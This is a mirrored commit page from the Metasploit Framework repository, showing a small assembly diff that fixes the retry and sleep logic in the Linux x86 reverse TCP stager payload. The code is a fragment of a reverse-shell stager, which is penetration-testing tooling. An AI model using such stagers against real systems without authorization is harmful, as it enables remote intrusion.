1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Land #8848, fix extra sleep on linux x86 stager

This commit is contained in:
Brent Cook 2017-08-19 22:12:19 -05:00
commit 6afd90b7f0
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96

View File

@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
js failed
dec esi
jnz create_socket
jns create_socket
jmp failed
^